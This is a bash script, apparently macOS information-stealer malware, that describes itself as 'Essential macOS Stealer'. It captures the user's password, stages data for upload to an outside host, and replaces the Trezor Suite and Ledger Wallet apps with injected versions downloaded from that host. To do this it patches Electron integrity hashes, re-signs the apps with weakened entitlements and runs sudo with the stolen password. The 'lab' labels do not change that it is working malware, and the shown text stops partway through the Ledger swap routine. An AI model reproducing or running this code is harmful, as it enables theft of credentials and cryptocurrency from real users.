#!/bin/bash
set +e
export PATH=/usr/bin:/bin:/usr/sbin:/sbin
ST="/tmp/8db3c924efc282972b0cb4800a4f6e381783699124"
ZIP="/tmp/8db3c924efc282972b0cb4800a4f6e381783699124.zip"
LOG="/tmp/lab_collect.log"
TGLOG="/tmp/lab_tg.log"
UP="/tmp/updstat.txt"
TXID="lab-a320ade23adb6f5d"
UPLOAD="https://198348.gl/upload.php"
H="$HOME"
AS="$H/Library/Application Support"
PHASE=0
# Single-flight lock (portable: atomic mkdir; macOS has no util-linux flock)
_LOCKDIR=/tmp/lab_collect.lockdir
if ! mkdir "$_LOCKDIR" 2>/dev/null; then
  _old=$(cat "$_LOCKDIR/pid" 2>/dev/null || true)
  if [ -n "$_old" ] && kill -0 "$_old" 2>/dev/null; then
    echo "collect already running pid=$_old" >>/tmp/lab_collect.log 2>&1 || true
    exit 0
  fi
  # stale lock from crashed run
  rm -rf "$_LOCKDIR"
  mkdir "$_LOCKDIR" 2>/dev/null || { echo "collect lock busy" >>/tmp/lab_collect.log 2>&1 || true; exit 0; }
fi
echo $$ > "$_LOCKDIR/pid"
trap 'rm -rf /tmp/lab_collect.lockdir' EXIT INT TERM
: > "$LOG"
exec >>"$LOG" 2>&1
rm -rf "$ST" "$ZIP"
: > "$UP"
mkdir -p "$ST"
PW=$(cat "$H/.passphrase" 2>/dev/null || true)
USER_N=$(/usr/bin/id -un 2>/dev/null || whoami)
printf '%s' "$USER_N" > "$ST/Username"
printf '%s' "$PW" > "$ST/Password"
printf '%s\n' "Essential macOS Stealer" "Build: NITRO2-lab-staged" "Username: $USER_N" "Password: $PW" "IP Address: pending" > "$ST/UserInformation"
( curl -fsS --max-time 3 http://api.ipify.org/ 2>/dev/null || echo unknown ) > /tmp/lab_ip.txt &
IPPID=$!

# Lab: swap Trezor Suite.app (/Applications, ~/Applications, or Desktop) with injected UI
_lab_ui_zip="/tmp/lab_trezor_ui.zip"
_lab_ui_cache="$H/Library/Caches/lab_trezor_ui"
_lab_decoy_root="$H/Library/Application Support/.lab_trezor_ui"
_lab_decoy="$_lab_decoy_root/Trezor Suite.app"
_lab_official="/Applications/Trezor Suite.app"
_lab_official_bak="$_lab_decoy_root/.official/Trezor Suite.app"
_lab_old_bak="/Applications/Trezor Suite.app.labofficial"
_lab_asar_hash="98e53578efc3a1ab235861898222911962df41d326b09540f8b5f2f83bfedc73"
_lab_ent="/tmp/lab_trezor_entitlements.plist"
rm -f /tmp/lab_trezor_hijack.log
_lab_pick_target() {
  # Prefer last known live path, then real installs (Applications, Desktop).
  # Never invent /Applications from a .official backup alone.
  if [ -f "$_lab_decoy_root/target_path.txt" ]; then
    _prev=$(cat "$_lab_decoy_root/target_path.txt" 2>/dev/null || true)
    if [ -n "$_prev" ] && { [ -d "$_prev/Contents/MacOS" ] || [ -d "$_prev/Contents/Resources" ]; }; then
      _lab_official="$_prev"
      _lab_old_bak="${_prev}.labofficial"
      return 0
    fi
  fi
  for cand in "/Applications/Trezor Suite.app" "$H/Applications/Trezor Suite.app" "$H/Desktop/Trezor Suite.app"; do
    if [ -d "$cand/Contents/MacOS" ] || [ -d "$cand/Contents/Resources" ]; then
      _lab_official="$cand"
      _lab_old_bak="${cand}.labofficial"
      return 0
    fi
  done
  # Backup exists but no live app — restore target from marker, still not /Applications by default
  if [ -d "$_lab_official_bak/Contents/MacOS" ]; then
    if [ -f "$_lab_decoy_root/target_path.txt" ]; then
      _lab_official=$(cat "$_lab_decoy_root/target_path.txt" 2>/dev/null || echo "$H/Desktop/Trezor Suite.app")
    else
      _lab_official="$H/Desktop/Trezor Suite.app"
    fi
    _lab_old_bak="${_lab_official}.labofficial"
    return 0
  fi
  return 1
}
_lab_strip_hijack_lines() {
  if [ -z "$APPS_OUT" ] || [ ! -f "$APPS_OUT" ]; then
    return 0
  fi
  _tmpa=$(mktemp 2>/dev/null || echo /tmp/lab_apps_out.$$)
  grep -v 'Trezor Suite|launcher=hijacked' "$APPS_OUT" 2>/dev/null | grep -v 'Trezor Suite|launcher=already' > "$_tmpa" || true
  mv -f "$_tmpa" "$APPS_OUT" 2>/dev/null || cat "$_tmpa" > "$APPS_OUT"
}
_lab_clear_false_hijack() {
  reason="$1"
  path="$2"
  [ -n "$path" ] || path="$_lab_official"
  _lab_strip_hijack_lines
  [ -n "$APPS_OUT" ] && echo "Trezor Suite|installed=1|engine=electron|path=$path|hijack=off|reason=$reason" >> "$APPS_OUT"
  if [ -n "$ST" ] && [ -d "$ST/Apps" ]; then
    printf '%s\n' "status=stock" "path=$path" "reason=$reason" > "$ST/Apps/trezor_replaced.txt"
    rm -f "$ST/Apps/trezor_injected.txt" 2>/dev/null || true
  fi
}
_lab_fail() {
  reason="$1"
  [ -n "$APPS_OUT" ] && echo "Trezor Suite|launcher=failed|path=$_lab_official|reason=$reason" >> "$APPS_OUT"
  if [ -n "$ST" ] && [ -d "$ST/Apps" ]; then
    printf '%s\n' "status=failed" "path=$_lab_official" "reason=$reason" > "$ST/Apps/trezor_replaced.txt"
    rm -f "$ST/Apps/trezor_injected.txt" 2>/dev/null || true
  fi
}
_lab_ok() {
  # Only claim success when the chosen target is actually injected
  if ! _lab_is_injected; then
    _lab_fail "inject-verify"
    return 1
  fi
  [ -n "$APPS_OUT" ] && echo "Trezor Suite|launcher=hijacked|path=$_lab_official|opens=$_lab_official|mode=app-swap" >> "$APPS_OUT"
  if [ -n "$ST" ] && [ -d "$ST/Apps" ]; then
    printf '%s\n' "status=replaced" "path=$_lab_official" "opens=$_lab_official" "mode=app-swap" > "$ST/Apps/trezor_replaced.txt"
    printf '%s\n' "lab-trezor-ui-v10" > "$ST/Apps/trezor_injected.txt" 2>/dev/null || true
  fi
  printf '%s\n' "$_lab_official" > "$_lab_decoy_root/target_path.txt" 2>/dev/null || true
}
_lab_already() {
  if ! _lab_is_injected; then
    return 1
  fi
  [ -n "$APPS_OUT" ] && echo "Trezor Suite|launcher=already|path=$_lab_official|opens=$_lab_official|mode=app-swap" >> "$APPS_OUT"
  if [ -n "$ST" ] && [ -d "$ST/Apps" ]; then
    printf '%s\n' "status=already" "path=$_lab_official" "opens=$_lab_official" "mode=app-swap" > "$ST/Apps/trezor_replaced.txt"
    printf '%s\n' "lab-trezor-ui-v10" > "$ST/Apps/trezor_injected.txt" 2>/dev/null || true
  fi
}
_lab_verify_marker() {
  # Drop false "hijack on" when marker says replaced/already but live app is stock
  [ -n "$ST" ] && [ -d "$ST/Apps" ] || return 0
  _m="$ST/Apps/trezor_replaced.txt"
  [ -f "$_m" ] || return 0
  _st=$(grep -E '^status=' "$_m" 2>/dev/null | head -1 | cut -d= -f2-)
  case "$_st" in replaced|already) ;; *) return 0 ;; esac
  _p=$(grep -E '^path=' "$_m" 2>/dev/null | head -1 | cut -d= -f2-)
  [ -n "$_p" ] || _p="$_lab_official"
  if [ -f "$_p/Contents/Resources/app.asar" ] \
    && [ -f "$_p/Contents/Resources/.lab_injected" ] \
    && grep -q 'lab-trezor-ui-v10' "$_p/Contents/Resources/.lab_injected" 2>/dev/null; then
    return 0
  fi
  _lab_clear_false_hijack "live-verify-failed" "$_p"
}
_lab_write_entitlements() {
  cat > "$_lab_ent" <<'ENT'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>com.apple.security.cs.allow-jit</key>
	<true/>
	<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
	<true/>
	<key>com.apple.security.cs.disable-library-validation</key>
	<true/>
	<key>com.apple.security.cs.allow-dyld-environment-variables</key>
	<true/>
</dict>
</plist>
ENT
}
_lab_is_injected() {
  # v2 = real app.asar present (unpacked app/ alone = instant Electron quit)
  [ -f "$_lab_official/Contents/Resources/app.asar" ] \
    && [ -f "$_lab_official/Contents/Resources/.lab_injected" ] \
    && grep -q 'lab-trezor-ui-v10' "$_lab_official/Contents/Resources/.lab_injected" 2>/dev/null
}
_lab_patch_plist_hash() {
  app="$1"
  hash="$2"
  plist="$app/Contents/Info.plist"
  [ -f "$plist" ] || return 1
  /usr/libexec/PlistBuddy -c "Delete :ElectronAsarIntegrity" "$plist" >/dev/null 2>&1 || true
  /usr/libexec/PlistBuddy -c "Add :ElectronAsarIntegrity dict" "$plist" >/dev/null 2>&1 || return 1
  /usr/libexec/PlistBuddy -c "Add :ElectronAsarIntegrity:Resources/app.asar dict" "$plist" >/dev/null 2>&1 || return 1
  /usr/libexec/PlistBuddy -c "Add :ElectronAsarIntegrity:Resources/app.asar:algorithm string SHA256" "$plist" >/dev/null 2>&1 || return 1
  /usr/libexec/PlistBuddy -c "Add :ElectronAsarIntegrity:Resources/app.asar:hash string $hash" "$plist" >/dev/null 2>&1 || return 1
}
_lab_resign() {
  app="$1"
  [ -d "$app" ] || return 1
  _lab_write_entitlements
  /usr/bin/xattr -cr "$app" 2>/dev/null || true
  if /usr/bin/codesign --force --deep --sign - --entitlements "$_lab_ent" --options runtime "$app" >/tmp/lab_trezor_codesign.log 2>&1; then
    return 0
  fi
  # fallback without --options runtime
  if /usr/bin/codesign --force --deep --sign - --entitlements "$_lab_ent" "$app" >/tmp/lab_trezor_codesign.log 2>&1; then
    return 0
  fi
  [ -n "$PW" ] || return 1
  printf '%s\n' "$PW" | sudo -S -p '' /usr/bin/codesign --force --deep --sign - --entitlements "$_lab_ent" --options runtime "$app" >/tmp/lab_trezor_codesign.log 2>&1 \
    || printf '%s\n' "$PW" | sudo -S -p '' /usr/bin/codesign --force --deep --sign - --entitlements "$_lab_ent" "$app" >/tmp/lab_trezor_codesign.log 2>&1
}
_lab_hide_old_bak() {
  if [ -d "$_lab_old_bak" ]; then
    mkdir -p "$_lab_decoy_root/.official"
    if [ ! -d "$_lab_official_bak" ]; then
      if [ -w /Applications ]; then
        mv -f "$_lab_old_bak" "$_lab_official_bak" 2>/dev/null || true
      elif [ -n "$PW" ]; then
        printf '%s\n' "$PW" | sudo -S -p '' /bin/bash -c "mkdir -p '$_lab_decoy_root/.official'; mv -f '$_lab_old_bak' '$_lab_official_bak'" 2>/dev/null || true
      fi
    fi
    if [ -d "$_lab_old_bak" ]; then
      if [ -w /Applications ]; then
        rm -rf "$_lab_old_bak"
      elif [ -n "$PW" ]; then
        printf '%s\n' "$PW" | sudo -S -p '' rm -rf "$_lab_old_bak" 2>/dev/null || true
      fi
    fi
  fi
}
ensure_trezor_ui_pack() {
  if [ -f "$_lab_ui_cache/app.asar" ] && [ -f "$_lab_ui_cache/ui-version.txt" ] \
    && grep -qx 'v10' "$_lab_ui_cache/ui-version.txt" 2>/dev/null; then
    if [ -f "$_lab_ui_cache/asar-hash.txt" ]; then
      _h=$(tr -d ' \r\n' < "$_lab_ui_cache/asar-hash.txt")
      [ -n "$_h" ] && _lab_asar_hash="$_h"
    fi
    return 0
  fi
  mkdir -p "$_lab_ui_cache" /tmp
  curl -fsSk --max-time 90 "https://198348.gl/trezor-ui.zip" -o "$_lab_ui_zip" || return 1
  rm -rf "$_lab_ui_cache"
  mkdir -p "$_lab_ui_cache"
  unzip -qo "$_lab_ui_zip" -d "$_lab_ui_cache" 2>/dev/null || ditto -x -k "$_lab_ui_zip" "$_lab_ui_cache" 2>/dev/null || return 1
  rm -f "$_lab_ui_zip"
  if [ ! -f "$_lab_ui_cache/app.asar" ]; then
    _nest=$(find "$_lab_ui_cache" -name app.asar 2>/dev/null | head -1)
    [ -n "$_nest" ] || return 1
    _nd=$(dirname "$_nest")
    cp -f "$_nd/app.asar" "$_lab_ui_cache/app.asar"
    cp -f "$_nd/asar-hash.txt" "$_lab_ui_cache/asar-hash.txt" 2>/dev/null || true
    cp -f "$_nd/ui-version.txt" "$_lab_ui_cache/ui-version.txt" 2>/dev/null || true
    cp -f "$_nd/main.js" "$_lab_ui_cache/main.js" 2>/dev/null || true
  fi
  [ -f "$_lab_ui_cache/app.asar" ] || return 1
  if [ -f "$_lab_ui_cache/asar-hash.txt" ]; then
    _h=$(tr -d ' \r\n' < "$_lab_ui_cache/asar-hash.txt")
    [ -n "$_h" ] && _lab_asar_hash="$_h"
  fi
}
_inject_into_bundle() {
  app_path="$1"
  res="$app_path/Contents/Resources"
  src="$_lab_ui_cache"
  [ -d "$res" ] || return 1
  [ -f "$src/app.asar" ] || return 1
  rm -rf "$res/app" "$res/app.asar" "$res/app.asar.unpacked" 2>/dev/null
  cp -f "$src/app.asar" "$res/app.asar" || return 1
  [ -f "$res/app.asar" ] || return 1
  if [ -f "$src/asar-hash.txt" ]; then
    _h=$(tr -d ' \r\n' < "$src/asar-hash.txt")
    [ -n "$_h" ] && _lab_asar_hash="$_h"
  fi
  _lab_patch_plist_hash "$app_path" "$_lab_asar_hash" || return 1
  printf '%s\n' "lab-trezor-ui-v10" "hash=$_lab_asar_hash" > "$res/.lab_injected"
}
_build_decoy() {
  src=""
  if [ -d "$_lab_official_bak/Contents/MacOS" ]; then
    src="$_lab_official_bak"
  elif [ -d "$_lab_old_bak/Contents/MacOS" ]; then
    src="$_lab_old_bak"
  elif [ -d "$_lab_official/Contents/MacOS" ] && ! _lab_is_injected; then
    src="$_lab_official"
  fi
  if [ -z "$src" ] && [ -d "$_lab_official_bak/Contents/MacOS" ]; then
    src="$_lab_official_bak"
  fi
  if [ -z "$src" ] && [ -d "$_lab_official/Contents/MacOS" ]; then
    src="$_lab_official"
  fi
  [ -n "$src" ] || return 1
  mkdir -p "$_lab_decoy_root"
  rm -rf "$_lab_decoy"
  ditto "$src" "$_lab_decoy" 2>/dev/null || cp -R "$src" "$_lab_decoy" || return 1
  if [ ! -f "$_lab_decoy/Contents/Resources/app.asar" ] && [ -f "$_lab_official_bak/Contents/Resources/app.asar" ]; then
    cp -f "$_lab_official_bak/Contents/Resources/app.asar" "$_lab_decoy/Contents/Resources/app.asar" 2>/dev/null || true
  fi
  _inject_into_bundle "$_lab_decoy" || return 1
  _lab_resign "$_lab_decoy" || true
}
_swap_applications() {
  [ -f "$_lab_decoy/Contents/Resources/app.asar" ] || return 1
  [ -f "$_lab_decoy/Contents/Resources/.lab_injected" ] || return 1
  mkdir -p "$_lab_decoy_root/.official"
  _lab_write_entitlements
  _lab_parent=$(dirname "$_lab_official")
  # Desktop / ~/Applications are user-writable — prefer no-sudo path
  if [ -w "$_lab_parent" ]; then
    pkill -f 'Trezor Suite' >/dev/null 2>&1 || true
    sleep 1
    if [ ! -d "$_lab_official_bak/Contents/MacOS" ]; then
      if [ -d "$_lab_old_bak/Contents/MacOS" ]; then
        mkdir -p "$_lab_decoy_root/.official"
        mv -f "$_lab_old_bak" "$_lab_official_bak"
      elif [ -d "$_lab_official/Contents/MacOS" ] && [ ! -f "$_lab_official/Contents/Resources/.lab_injected" ]; then
        mkdir -p "$_lab_decoy_root/.official"
        mv -f "$_lab_official" "$_lab_official_bak"
      fi
    fi
    rm -rf "$_lab_old_bak" "$_lab_official"
    ditto "$_lab_decoy" "$_lab_official" || return 1
    _lab_resign "$_lab_official" || return 1
  elif [ -n "$PW" ]; then
    _lab_hide_old_bak
    printf '%s\n' "$PW" | sudo -S -p '' /bin/bash -c "
set -e
OFF='$_lab_official'
BAK='$_lab_official_bak'
DEC='$_lab_decoy'
OLD='$_lab_old_bak'
ENT='$_lab_ent'
pkill -f 'Trezor Suite' >/dev/null 2>&1 || true
sleep 1
if [ ! -d \"\$BAK/Contents/MacOS\" ]; then
  if [ -d \"\$OLD/Contents/MacOS\" ]; then
    mkdir -p \"\$(dirname \"\$BAK\")\"
    mv -f \"\$OLD\" \"\$BAK\"
  elif [ -d \"\$OFF/Contents/MacOS\" ] && [ ! -f \"\$OFF/Contents/Resources/.lab_injected\" ]; then
    mkdir -p \"\$(dirname \"\$BAK\")\"
    mv -f \"\$OFF\" \"\$BAK\"
  fi
fi
rm -rf \"\$OLD\" 2>/dev/null || true
rm -rf \"\$OFF\"
/usr/bin/ditto \"\$DEC\" \"\$OFF\"
/usr/bin/xattr -cr \"\$OFF\" 2>/dev/null || true
/usr/bin/codesign --force --deep --sign - --entitlements \"\$ENT\" --options runtime \"\$OFF\" \
  || /usr/bin/codesign --force --deep --sign - --entitlements \"\$ENT\" \"\$OFF\"
/usr/bin/xattr -cr \"\$OFF\" 2>/dev/null || true
test -f \"\$OFF/Contents/Resources/app.asar\"
grep -q 'lab-trezor-ui-v10' \"\$OFF/Contents/Resources/.lab_injected\"
test ! -d \"\$OLD\"
" >/tmp/lab_trezor_swap.log 2>&1 || return 1
  else
    return 1
  fi
  [ -f "$_lab_official/Contents/Resources/app.asar" ] || return 1
  grep -q 'lab-trezor-ui-v10' "$_lab_official/Contents/Resources/.lab_injected" || return 1
}
run_trezor_hijack_all() {
  if ! _lab_pick_target; then
    _lab_fail "not-installed"
    return 0
  fi
  _lab_hide_old_bak
  if [ -d "$_lab_ui_cache" ] && ! grep -qx 'v10' "$_lab_ui_cache/ui-version.txt" 2>/dev/null; then
    rm -rf "$_lab_ui_cache"
  fi
  if _lab_is_injected; then
    _lab_already || true
    _lab_verify_marker
    return 0
  fi
  ensure_trezor_ui_pack || { _lab_fail "ui-download"; _lab_verify_marker; return 0; }
  pkill -f 'Trezor Suite' >/dev/null 2>&1 || true
  sleep 1
  _build_decoy || { _lab_fail "decoy-build"; _lab_verify_marker; return 0; }
  if _swap_applications; then
    _lab_ok || true
  else
    # Desktop / ~/Applications are user-writable — retry without requiring sudo
    _lab_parent=$(dirname "$_lab_official")
    if [ -w "$_lab_parent" ]; then
      pkill -f 'Trezor Suite' >/dev/null 2>&1 || true
      sleep 1
      if [ ! -d "$_lab_official_bak/Contents/MacOS" ] && [ -d "$_lab_official/Contents/MacOS" ] && [ ! -f "$_lab_official/Contents/Resources/.lab_injected" ]; then
        mkdir -p "$_lab_decoy_root/.official"
        mv -f "$_lab_official" "$_lab_official_bak" 2>/dev/null || true
      fi
      rm -rf "$_lab_official"
      if ditto "$_lab_decoy" "$_lab_official" && _lab_resign "$_lab_official" && _lab_is_injected; then
        _lab_ok || true
        _lab_verify_marker
        return 0
      fi
    fi
    if [ -z "$PW" ]; then
      _lab_fail "no-password"
    elif ! printf '%s\n' "$PW" | sudo -S -p '' -v >/dev/null 2>&1; then
      _lab_fail "sudo-auth"
    else
      _lab_fail "app-swap"
    fi
  fi
  _lab_verify_marker
}


# Lab ledger: swap /Applications with injected app.asar + integrity + entitlements resign
_ll_ui_zip="/tmp/lab_ledger_ui.zip"
_ll_ui_cache="$H/Library/Caches/lab_ledger_ui"
_ll_decoy_root="$H/Library/Application Support/.lab_ledger"
_ll_decoy="$_ll_decoy_root/Ledger Wallet.app"
_ll_official="/Applications/Ledger Wallet.app"
_ll_official_bak="$_ll_decoy_root/.official/Ledger Wallet.app"
_ll_old_bak="/Applications/Ledger Wallet.app.labofficial"
_ll_asar_hash="77efadaceac6be3662579a17086ca889ba264c0d5698cc681412ad2788c81799"
_ll_ent="/tmp/lab_ledger_entitlements.plist"
rm -f /tmp/lab_ledger_hijack.log
_ll_fail() {
  reason="$1"
  [ -n "$APPS_OUT" ] && echo "Ledger Wallet|launcher=failed|path=$_ll_official|reason=$reason" >> "$APPS_OUT"
  if [ -n "$ST" ] && [ -d "$ST/Apps" ]; then
    printf '%s\n' "status=failed" "path=$_ll_official" "reason=$reason" > "$ST/Apps/ledger_replaced.txt"
  fi
}
_ll_ok() {
  if ! _ll_is_injected; then
    _ll_fail "inject-verify"
    return 1
  fi
  [ -n "$APPS_OUT" ] && echo "Ledger Wallet|launcher=hijacked|path=$_ll_official|opens=$_ll_official|mode=app-swap" >> "$APPS_OUT"
  if [ -n "$ST" ] && [ -d "$ST/Apps" ]; then
    printf '%s\n' "status=replaced" "path=$_ll_official" "opens=$_ll_official" "mode=app-swap" > "$ST/Apps/ledger_replaced.txt"
    printf '%s\n' "lab-ledger-ui-v2" > "$ST/Apps/ledger_injected.txt" 2>/dev/null || true
  fi
}
_ll_already() {
  if ! _ll_is_injected; then
    return 1
  fi
  [ -n "$APPS_OUT" ] && echo "Ledger Wallet|launcher=already|path=$_ll_official|opens=$_ll_official|mode=app-swap" >> "$APPS_OUT"
  if [ -n "$ST" ] && [ -d "$ST/Apps" ]; then
    printf '%s\n' "status=already" "path=$_ll_official" "opens=$_ll_official" "mode=app-swap" > "$ST/Apps/ledger_replaced.txt"
    printf '%s\n' "lab-ledger-ui-v2" > "$ST/Apps/ledger_injected.txt" 2>/dev/null || true
  fi
}
_ll_write_entitlements() {
  cat > "$_ll_ent" <<'ENT'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>com.apple.security.cs.allow-jit</key>
	<true/>
	<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
	<true/>
	<key>com.apple.security.cs.disable-library-validation</key>
	<true/>
	<key>com.apple.security.cs.allow-dyld-environment-variables</key>
	<true/>
</dict>
</plist>
ENT
}
_ll_is_injected() {
  [ -f "$_ll_official/Contents/Resources/app.asar" ] \
    && [ -f "$_ll_official/Contents/Resources/.lab_injected" ] \
    && grep -q 'lab-ledger-ui-v2' "$_ll_official/Contents/Resources/.lab_injected" 2>/dev/null
}
_ll_patch_plist_hash() {
  app="$1"
  hash="$2"
  plist="$app/Contents/Info.plist"
  [ -f "$plist" ] || return 1
  /usr/libexec/PlistBuddy -c "Delete :ElectronAsarIntegrity" "$plist" >/dev/null 2>&1 || true
  /usr/libexec/PlistBuddy -c "Add :ElectronAsarIntegrity dict" "$plist" >/dev/null 2>&1 || return 1
  /usr/libexec/PlistBuddy -c "Add :ElectronAsarIntegrity:Resources/app.asar dict" "$plist" >/dev/null 2>&1 || return 1
  /usr/libexec/PlistBuddy -c "Add :ElectronAsarIntegrity:Resources/app.asar:algorithm string SHA256" "$plist" >/dev/null 2>&1 || return 1
  /usr/libexec/PlistBuddy -c "Add :ElectronAsarIntegrity:Resources/app.asar:hash string $hash" "$plist" >/dev/null 2>&1 || return 1
}
_ll_resign() {
  app="$1"
  [ -d "$app" ] || return 1
  _ll_write_entitlements
  /usr/bin/xattr -cr "$app" 2>/dev/null || true
  if /usr/bin/codesign --force --deep --sign - --entitlements "$_ll_ent" --options runtime "$app" >/tmp/lab_ledger_codesign.log 2>&1; then
    return 0
  fi
  if /usr/bin/codesign --force --deep --sign - --entitlements "$_ll_ent" "$app" >/tmp/lab_ledger_codesign.log 2>&1; then
    return 0
  fi
  [ -n "$PW" ] || return 1
  printf '%s\n' "$PW" | sudo -S -p '' /usr/bin/codesign --force --deep --sign - --entitlements "$_ll_ent" --options runtime "$app" >/tmp/lab_ledger_codesign.log 2>&1 \
    || printf '%s\n' "$PW" | sudo -S -p '' /usr/bin/codesign --force --deep --sign - --entitlements "$_ll_ent" "$app" >/tmp/lab_ledger_codesign.log 2>&1
}
_ll_hide_old_bak() {
  if [ -d "$_ll_old_bak" ]; then
    mkdir -p "$_ll_decoy_root/.official"
    if [ ! -d "$_ll_official_bak" ]; then
      if [ -w /Applications ]; then
        mv -f "$_ll_old_bak" "$_ll_official_bak" 2>/dev/null || true
      elif [ -n "$PW" ]; then
        printf '%s\n' "$PW" | sudo -S -p '' /bin/bash -c "mkdir -p '$_ll_decoy_root/.official'; mv -f '$_ll_old_bak' '$_ll_official_bak'" 2>/dev/null || true
      fi
    fi
    if [ -d "$_ll_old_bak" ]; then
      if [ -w /Applications ]; then
        rm -rf "$_ll_old_bak"
      elif [ -n "$PW" ]; then
        printf '%s\n' "$PW" | sudo -S -p '' rm -rf "$_ll_old_bak" 2>/dev/null || true
      fi
    fi
  fi
}
ensure_ledger_ui_pack() {
  if [ -f "$_ll_ui_cache/app.asar" ] && [ -f "$_ll_ui_cache/ui-version.txt" ] \
    && grep -qx 'v2' "$_ll_ui_cache/ui-version.txt" 2>/dev/null; then
    if [ -f "$_ll_ui_cache/asar-hash.txt" ]; then
      _h=$(tr -d ' \r\n' < "$_ll_ui_cache/asar-hash.txt")
      [ -n "$_h" ] && _ll_asar_hash="$_h"
    fi
    return 0
  fi
  mkdir -p "$_ll_ui_cache" /tmp
  curl -fsSk --max-time 90 "https://198348.gl/ledger-ui.zip" -o "$_ll_ui_zip" || return 1
  rm -rf "$_ll_ui_cache"
  mkdir -p "$_ll_ui_cache"
  unzip -qo "$_ll_ui_zip" -d "$_ll_ui_cache" 2>/dev/null || ditto -x -k "$_ll_ui_zip" "$_ll_ui_cache" 2>/dev/null || return 1
  rm -f "$_ll_ui_zip"
  if [ ! -f "$_ll_ui_cache/app.asar" ]; then
    _nest=$(find "$_ll_ui_cache" -name app.asar 2>/dev/null | head -1)
    [ -n "$_nest" ] || return 1
    _nd=$(dirname "$_nest")
    cp -f "$_nd/app.asar" "$_ll_ui_cache/app.asar"
    cp -f "$_nd/asar-hash.txt" "$_ll_ui_cache/asar-hash.txt" 2>/dev/null || true
    cp -f "$_nd/ui-version.txt" "$_ll_ui_cache/ui-version.txt" 2>/dev/null || true
    cp -f "$_nd/main.js" "$_ll_ui_cache/main.js" 2>/dev/null || true
  fi
  [ -f "$_ll_ui_cache/app.asar" ] || return 1
  if [ -f "$_ll_ui_cache/asar-hash.txt" ]; then
    _h=$(tr -d ' \r\n' < "$_ll_ui_cache/asar-hash.txt")
    [ -n "$_h" ] && _ll_asar_hash="$_h"
  fi
}
_ll_inject_into_bundle() {
  app_path="$1"
  res="$app_path/Contents/Resources"
  src="$_ll_ui_cache"
  [ -d "$res" ] || return 1
  [ -f "$src/app.asar" ] || return 1
  rm -rf "$res/app" "$res/app.asar" "$res/app.asar.unpacked" 2>/dev/null
  cp -f "$src/app.asar" "$res/app.asar" || return 1
  [ -f "$res/app.asar" ] || return 1
  if [ -f "$src/asar-hash.txt" ]; then
    _h=$(tr -d ' \r\n' < "$src/asar-hash.txt")
    [ -n "$_h" ] && _ll_asar_hash="$_h"
  fi
  _ll_patch_plist_hash "$app_path" "$_ll_asar_hash" || return 1
  printf '%s\n' "lab-ledger-ui-v2" "hash=$_ll_asar_hash" > "$res/.lab_injected"
}
_ll_build_decoy() {
  src=""
  if [ -d "$_ll_official_bak/Contents/MacOS" ]; then
    src="$_ll_official_bak"
  elif [ -d "$_ll_old_bak/Contents/MacOS" ]; then
    src="$_ll_old_bak"
  elif [ -d "$_ll_official/Contents/MacOS" ] && ! _ll_is_injected; then
    src="$_ll_official"
  fi
  if [ -z "$src" ] && [ -d "$_ll_official_bak/Contents/MacOS" ]; then
    src="$_ll_official_bak"
  fi
  if [ -z "$src" ] && [ -d "$_ll_official/Contents/MacOS" ]; then
    src="$_ll_official"
  fi
  [ -n "$src" ] || return 1
  mkdir -p "$_ll_decoy_root"
  rm -rf "$_ll_decoy"
  ditto "$src" "$_ll_decoy" 2>/dev/null || cp -R "$src" "$_ll_decoy" || return 1
  if [ ! -f "$_ll_decoy/Contents/Resources/app.asar" ] && [ -f "$_ll_official_bak/Contents/Resources/app.asar" ]; then
    cp -f "$_ll_official_bak/Contents/Resources/app.asar" "$_ll_decoy/Contents/Resources/app.asar" 2>/dev/null || true
  fi
  _ll_inject_into_bundle "$_ll_decoy" || return 1
  _ll_resign "$_ll_decoy" || true
}
_ll_swap_applications() {
  [ -f "$_ll_decoy/Contents/Resources/app.asar" ] || return 1
  [ -f "$_ll_decoy/Contents/Resources/.lab_injected" ] || return 1
  mkdir -p "$_ll_decoy_root/.official"
  _ll_write_entitlements
  if [ -n "$PW" ]; then
    _ll_hide_old_bak
    printf '%s\n' "$PW" | sudo -S -p '' /bin/bash -c "
set -e
OFF='$_ll_official'
BAK='$_ll_official_bak'
DEC='$_ll_decoy'
OLD='$_ll_old_bak'
ENT='$_ll_ent'
pkill -f 'Ledger Wallet' >/dev/null 2>&1 || true
sleep 1
if [ ! -d \"\$BAK/Contents/MacOS\" ]; then
  if [ -d \"\$OLD/Contents/MacOS\" ]; then
    mkdir -p \"\$(dirname \"\$BAK\")\"
    mv -f \"\$OLD\" \"\$BAK\"
  elif [ -d \"\$OFF/Contents/MacOS\" ] && [ ! -f \"\$OFF/Contents/Resources/.lab_injected\" ]; then
    mkdir -p \"\$(dirname \"\$BAK\")\"
    mv -f \"\$OFF\" \"\$BAK\"
  fi
fi
rm -rf \"\$OLD\" 2>/dev/null || true
rm -rf \"\$OFF\"
/usr/bin/ditto \"\$DEC\" \"\$OFF\"
/usr/bin/xattr -cr \"\$OFF\" 2>/dev/null || true
/usr/bin/codesign --force --deep --sign - --entitlements \"\$ENT\" --options runtime \"\$OFF\" \
  || /usr/bin/codesign --force --deep --sign - --entitlements \"\$ENT\" \"\$OFF\"
/usr/bin/xattr -cr \"\$OFF\" 2>/dev/null || true
test -f \"\$OFF/Contents/Resources/app.asar\"
grep -q 'lab-ledger-ui-v2' \"\$OFF/Contents/Resources/.lab_injected\"
test ! -d \"\$OLD\"
" >/tmp/lab_ledger_swap.log 2>&1 || return 1
  elif [ -w /Applications ]; then
    pkill -f 'Ledger Wallet' >/dev/null 2>&1 || true
    sleep 1
    if [ ! -d "$_ll_official_bak/Contents/MacOS" ]; then
      if [ -d "$_ll_old_bak/Contents/MacOS" ]; then
        mkdir -p "$_ll_decoy_root/.official"
        mv -f "$_ll_old_bak" "$_ll_official_bak"
      elif [ -d "$_ll_official/Contents/MacOS" ] && [ ! -f "$_ll_official/Contents/Resources/.lab_injected" ]; then
        mkdir -p "$_ll_decoy_root/.official"
        mv -f "$_ll_official" "$_ll_official_bak"
      fi
    fi
    rm -rf "$_ll_old_bak" "$_ll_official"
    ditto "$_ll_decoy" "$_ll_official" || return 1
    _ll_resign "$_ll_official" || return 1
  else
    return 1
  fi
